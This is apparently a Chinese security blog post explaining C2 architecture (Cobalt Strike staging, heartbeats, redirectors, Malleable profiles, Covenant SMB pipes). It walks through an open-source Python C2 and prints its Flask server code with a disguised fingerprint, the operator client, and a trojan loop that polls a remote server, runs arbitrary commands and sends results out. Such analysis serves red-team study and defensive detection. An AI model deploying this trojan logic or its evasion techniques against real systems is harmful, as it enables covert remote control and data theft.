作者:星尘
“不要因为没有掌声而丢弃自己的梦想”
C2介绍
命令与控制(C2)是指在单个或一组目标受害者主机上建立和维持对植入工具的控制的过程。C2框架通常提供借助某个通信协议与植入工具进行通信的能力,向受害者系统发出命令,并且在C2服务器上接收这些命令的输出,使攻击者实现物理访问或直接的虚拟访问。
命令与控制(C2)协议依赖于每个受控植入工具和C2服务器之间的同步或异步通信信道。
CS 的原始通信架构:
Cobalt Strike采用的是B/S架构,也就是常说的HTTP协议Client:就是控制端,即通过它来控制对方电脑。Server:即服务端。中转:放在VPS,可有可无,CS中转Teamserver就是一个WEB
注意,如果我们用其他程序搭建网站也可以做为中转,即可实现HTTP远控
关于架构:
C/S架构:Clinet/Server,主要指的是TCP,客户端和服务端,即便带个中转它也还是叫C/S架构
B/S架构: Browser/Server,主要是HTTP,无论直接通过浏览器操作,还是像CS加个中转再用客户端访问
RAT:Remote Admin Tools,远程管理工具,长期以来国内外通用叫法。
C2: command&control,从字面上就很好理解命令和控制,现在新叫法。不管任何协议,木马都可这样叫。
HTTP C2原理
1.搭建WEB,可Apache、IIS、Tomcat或其他人工具如Ladon、CobaltStrike2.通过HTTP协议获取指令、回传结果3.指令执行功能(CMD执行、文件上传下载、其它功能等)
Cobalt Strike
Cobalt Strike 的团队服务器其实也是一种 C2 服务器。
CS 的agent是当攻击者通过代码执行,有一个 agent 运行在目标网络中,就可以对目标网络进行命令与控制。所以 agent实际上相当于 Beacon payload。
|
Staging 服务器
在 Cobalt Strike 中,为了获取目标主机的 Beacon shell,必须先要传送 payload。payload 就是攻击执行的内容。传递 payload 时候,根据目标的网络、主机环境,可以选择分阶段传递 payload,也可以不分阶段直接丢一个 payload。分阶段传递中,Payload 通常被分为两部分:payload stage
和 payload stager
。stager 是一个小程序,通常是手工优化的汇编指令,用于下载一个 payload stage、把它注入内存,然后对其传达执行命令。这个过程被称为 staging(分阶段)。staging(分阶段)过程在一些攻击行动中是必要的。很多攻击中对于能加载进内存并在成功漏洞利用后执行的数据大小存在严格限制。这会极大地限制你的后渗透选择,除非你分阶段传送你的后渗透 payload。在这里的 staging server
,其实是指最开始用于传递 payload 的那台攻击机器。也就是获取初始权限的服务器。所以可想而知此服务器具有以下特点:
-
托管客户端的工具,接收来自 Beacon 的初始回复
-
可能承担初始的权限提升和下载持久性 payload 等功能
-
此服务器有较高暴露风险,可能会被发现、封锁和反制
另外 CS 中,团队服务器会将要执行的任何动作都以计划任务列表的形式进行管理,也就是说,在不考虑通信协议的前提下,CS 中的 C2 通信流程大概为:
-
通过 CS 客户端发送到团队服务器的任何动作都会被弄成计划任务的形式依次排队(这也就是 beacon 内置的那个 job 命令存在的实际意义);
-
而后等着目标机器上的负载(payload)来下载这些计划任务列表中的具体指令去目标机器上执行;
-
随后再依次把执行完的结果回传给 CS 团队服务器,团队服务器再回显至 CS 客户端。
CS心跳包
一般在设计远控时,我们都会对机器进行标记,设置上线特征为A,A对应信息已保存在本地数据库,因此想要确认机器是否还在控我们只需要发送A标识给客户端,告诉它机器还在控制,即心跳包。因为CS是B/S模式HTTP协议,它的心跳特征存在Cookie里非正常cookie写法,一段很长的加密数据,可以作为特征。
多团队服务器模型
Cobalt Strike 是为分布式操作而设计的,客户端可以同时连接到多个团队服务器
图片参考:https://leanote.com/api/file/getImage?fileId=5e2fb2d0ab64410d20005384
在CS的官方中也建议把C2 分割为long-haul, staging, and post-exploitation服务器
c2 server隐藏
参考:https://www.cnblogs.com/-qing-/p/12882253.html
C2 的重定向
对于攻击行为中域名做相应的处理来达到更好的混淆效果,比如常见的在域名上做重定向的处理
https://github.com/mgeeky/RedWarden这个也许是个可用的插件
https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/他的blogs对重定向器的使用有很多描述
(借用http://blog.leanote.com/post/snowming/d5d2b4ba20d0的文章图描述C2 server的隐匿)
C2 Server自定义流量
对于Cobalt Strike,默认的特征肯定要修改,可以通过Malleable C2配置来修改Beacon和Stager的通信流量中的特征,启动时候加载配置文件(只能指定单个)。
Malleable-C2-Profiles这里收集了各种Malleable-C2-Profiles。
Covenant
地址:https://github.com/cobbr/Covenant
Covenant利用HTTP作为出口协议,并将SMB命名管道用于网状协议,这是这类行为的一组通用协议。
点对点(P2P)C2协议允许单个植入工具维持与C2服务器的通信信道,所有其他的植入工具都是通过“网状”的网络进行通信,通过单个植入工具的出口汇集通信。
优点:
1.较少的出口通信信道为可能识别恶意流量的防御者提供较少的潜在指示。
2.受到良好保护的网络可能会在内部处理某些类别的流量,而不是在网络边界进行处理。允许HTTP流量通过其网络边界出站的组织,但可能限制源自服务器或其他重要子网的HTTP流量。这种类型的限制,可以防止依赖于每个植入工具的公共C2框架建立出口通信信道,以维持对这些首先服务器或高价值网络子网的访问。
C2的实现——代码解读
项目地址:https://github.com/pkcn445/C2
这是一个由 Python3.7.3 编写的轻量级,便捷式的 C2 服务器程序,它采用 flask 框架来实现API接口式的数据交互,使用 socketserver 框架实现文件数据上传和下载
Flask快速上手
受本人能力限制,选择该项目尝试进行代码解读,在github上有更多优秀的开源C2 server和解读。比如:
deimos-C2代码学习
Covenant C2框架调研及扩展
文件架构
trojan.py 木马程序,如果要使用要修改里面的IP地址和端口
client.py 控制端程序,依赖 lib/basecli.py 文件,配置文件使用的是 settings.py
server.py 服务器程序,依赖 lib/baseser.py 文件,配置文件使用的是 settings.py
fileserver.py 文件上传下载服务器程序
start.py 可以运行此脚本来快速搭建服务
settings.py
设置server
PASSWORD = "pkcn" #设置控制端与服务器通信的密码
SALT_KEY = "PKCN" #设置一个 salt 值作为加强 hash
LOCAL_IP = "127.0.0.1" #设置本地IP地址(公网的VPS服务器填写的是本地网卡的ip地址,不是公网IP地址,客户端则填写VPS服务器的公网IP地址)
LOCAL_PORT = 9001 #设置本地端口
SERVER_AGET = "Apache Server" #设置服务器指纹
server.py
from base64 import b64decode, b64encode
from json import dumps, loads
from flask import Flask,request,Response,render_template
from lib.baseser import *
from lib.aes_crypt import *
from settings import *
from os import system
app = Flask(__name__)#创建一个Flask的实例,并传递这个py文件的名称
使用了Flask框架
CA = ("./cakey/cert.pem","./cakey/key.pem") #引入自建的 SSL 证书
if __name__ == "__main__":
app.run(host="0.0.0.0",port=LOCAL_PORT,ssl_context=CA)
app.run()是启动项的入口
host=0.0.0.0 告诉您的操作系统监听所有公开的 IP ,可以让服务器被公开访问
@app.route("/getkeys",methods=["POST","GET"])
def getkey():
"""
描述:
这个函数是用来处理秘钥下发的,秘钥的生成使用了基础类的 getkeys() 方法
访问方法:
url: https://实际运行的服务器IP地址和端口/getkeys
返回数据:
请求秘钥成功的响应状态码为 404 ,失败则为 200
返回数据不管成功与否都是为空
秘钥获取:通过获取响应头的 Cookie 值,经过 base64 解密即可得到秘钥
秘钥数据解密后为:{"key":"木马唯一身份标识ID:AES秘钥"}
"""
key = baseser.getkeys()
rst = Response(render_template("index.html"))
if key:
rst.headers['Cookie'] = b64encode(dumps({"key":key}).encode("utf-8")) #json格式化后经过base64加密
rst.status_code = 404
rst.headers['Server'] = SERVER_AGET #设置服务器指纹信息
else:
rst.status_code = 200
rst.headers["Server"] = SERVER_AGET
return rst
@app.route('/')是用来通过这个url才能访问这个方法的控制器
作者对于函数的解释比较全面,这里不做解释了。
从代码来看,服务端功能有:
处理秘钥下发
下发 payload ,payload 放在响应头的 Cookie 部分
添加任务
接收木马执行完毕后返回来的结果
客户端用来获取木马执行结果
获取已经上线的主机信息
启动 fileserver.py 脚本文件传输
frp 代理的自动化搭建
client.py
#encoding=utf-8
#作者:@破壳雏鸟
#项目地址:https://github.com/pkcn445/C2/
from lib.basecli import *
def getrst(basefun):
while True:
try:
data = post(url=basefun.get_rst,data={"pwd":basefun.pwd},timeout=5,verify=False)
#print("请求头:{}".format({"pwd":basefun.pwd}))
if data.status_code == 200:
data = loads(data.text)
#print("响应正文:{}".format(data))
for _,i in data.items():
if isinstance(i,dict):
rst = i.get("data").get("data")
#rst = b64decode(rst).decode("utf-8")
print("n命令:{} 执行结果 n>->->n{}<-<-<n".format(i.get("data").get("cdm"),rst))
elif isinstance(i,str):
print("n"+i+"n")
sleep(2)
except:
continue
def main():
handle = BaseFunc()
handle.get_online_host()
Thread(target=getrst,args=(handle,)).start()
try:
while True:
opt = input(">>>")
if opt:
handle.opt_deal(opt)
sleep(0.5)
except KeyboardInterrupt:
print("用户退出!")
sys.exit(-1)
if __name__ == "__main__":
main()
每2秒向服务端发一次心跳包,即请求一次。
trojan.py
def main():
"""
描述:
该函数是木马的主要控制逻辑,负责各种功能的调配和错误处理
"""
base = BaseFunc()
key, aes_key = base.getkeys() #启动后获取唯一身份标识ID和AES加密秘钥
time = 10 #设置默认睡眠时间为 10 秒
while True:
if key:
try:
rst = base.getpay(key,aes_key) #使用唯一身份标识和AES加密秘钥来请求服务器的 payload
if rst == "exit": #判断是否要退出
break
if isinstance(rst,dict) and isinstance(rst.get("cdm"),str):
if rst.get("sleeptime"):
time = float(rst.get("sleeptime"))
#判断控制端设置的睡眠时间是否合法
if time < 0:
time = 10
c = rst.get("cdm")
if c == "exit_yes":#判断控制端是否发送了退出命令
break
elif c == "uploadfile": #这是控制端要上传文件的处理
base.downfile()
rst = base.getbaseinfo()
rst['cdm'] = "uploadfile"
rst['data'] = "文件上传执行完毕!"
elif c.split(' ')[0].strip() == "downfile": #这是控制端要下载文件的处理
base.uploadfile(c.split(' ')[1].strip())
rst = base.getbaseinfo()
rst["cdm"] = "downfile"
rst["data"] = "文件下载执行完毕!"
else:
rst = base.exc(c) #执行系统命令的处理
#返回执行结果
if isinstance(rst,dict):
head = {"Cookie":"cid="+key} #将唯一身份标识ID设置到请求头部的Cookie字段中
data = {"data":DataAesCrypt(aes_key,dumps(rst)).encrypt()} #对数据进行加密后放到请求体
#print("请求头:{}n请求体:{}n数据内容:{}".format(head,data,rst))
rst = post(url=base.ret_url,headers=head,data=data,timeout=5,verify=False) #verify的参数是解决 ssl 认证错误的报错
except:
pass
sleep(time) #进入睡眠
else:
break
if __name__ == "__main__":
main()
这里的木马为10s心跳包。
通过http协议,把执行返回内容加密后放请求体,id标识放在cookie中
其他函数作者也有解释
外部C2
为了解决受保护网络出站限制,C2框架可以利用不同类型的通信信道作为出口流量,以此来取代网状网络,从而解决这一问题。
在将第一个植入工具传播到目标网络,并对该协议进行测试之前,我们通常无法确定能够确保成功的协议。在之前比较常用的 C2 通信方式是使用反向 shell 和反向 HTTP C2 通道。然而随着时间和防御水平的提高,这种「传统方法」势必会越来越难以生效。通常不会允许从高价值区域的网络使用HTTP协议。
在这种情况下,势必需要一些其他协议实现C2的通信。
Windows系统内部一个非常常见的协议就是SMB。命名管道(Named Pipe)是一种本地Windows技术,允许通过SMB访问协议跨远程系统实现进程间通信,并且 非常容易实现Windows植入。利用HTTP作为出口协议,并将SMB命名管道用于网状协议。
原文始发于微信公众号(0x00实验室):攻防对抗中的C2架构解析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论